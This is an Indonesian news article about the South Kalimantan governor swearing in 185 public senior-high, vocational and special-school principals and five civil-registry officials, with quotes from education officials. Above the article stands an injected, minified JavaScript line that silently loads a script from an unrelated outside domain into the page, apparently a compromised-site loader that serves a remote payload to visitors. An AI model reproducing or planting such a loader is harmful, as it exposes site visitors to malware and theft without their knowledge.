(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

185 Orang Kepsek SMA dan SMK Negeri di Kalsel Dilantik

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 185 orang kepala sekolah SMA, SMK dan SLB Negeri di lingkungan Pemerintah Provinsi (Pemprov) Kalimantan Selatan dilantik Gubernur Kalsel, H Sahbirin Noor di Gedung Idham Chalid, Selasa (14/6/2022).

Saat pelantikan Gubernur Kalsel meminta kepada Kepala Sekolah (Kepsek) yang baru dilantik meningkatkan klasifikasi sekolah yang dipimpinnya.
“Indeks Pembangunan Manusia (IPM) Kalsel harus meningkat, tata kelola sekolah juga harus berubah.

Kita ingin melahirkan generasi yang baik. Jadi tidak bisa main-main dalam mengangkat seorang menjadi kepala sekolah,” ujarnya.

Prioritas pembangunan daerah adalah penguatan daya saing SDM. Salah satu fokusnya pada penyelenggaraan pendidikan tingkat menengah di Kalsel.

“Kepala sekolah sangat penting dalam percepatan pembangunan sektor pendidikan, diharapkan berdampak kepada kualitas pendidikan di daerah,” tegasnya.

Para kepala sekolah yang dilantik agar cepat beradaptasi dengan lingkungan, memiliki kinerja yang kompeten dan kemampuan kuat untuk meningkatkan kompetensi, wawasan, serta dedikasi dalam melaksanakan tugas dan kewajiban.

Gubernur Kalsel juga melantik 5 orang pejabat adiministrator dan pejabat pengawas di Dinas Dukcapil dan KB Kalsel.

Sementara itu, Kepala Dinas Pendidikan dan Kebudayaan Provinsi Kalsel, Muhammadun mengatakan, ada 185 kepala sekolah yang dilantik pada hari ini, menempati SMA, SMK dan SLB Negeri di lingkup Pemprov Kalsel.

“Ada mutasi, ada juga dari guru menjadi kepala sekolah, ada yang tetap karena habis SK-nya dan harus dilantik,” ujarnya.

Untuk kepada sekolah yang habis massa jabatan, dikatakan Muhammadun, tetap harus dilantik berdasarkan Permendikbud RI.

Kadisdikbud Kalsel berpesan kepada para kepala sekolah yang dilantik agar memimpin sekolah harus dengan semangat agar pendidikan Kalsel semakin maju.

Di tempat yang sama, Plt Kepala BKD Provinsi Kalsel, Syamsir Rahman mengatakan, ada lima orang pejabat administrator dan pejabat pengawas yang dilantik khusus untuk Dinas Dukcapil dan KB. Dinas itu saja yang dilantik, menyusul rekomendasi dari Kependudukan dan Pencatatan Sipil Kemendagri.

“Kita sudah lama memperoleh rekomendasinya, mengingat pada tanggal 18 batasnya sudah hampir habis jadi dibarengkan dengan pelantikan pejabat kepala sekolah,” ujarnya. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie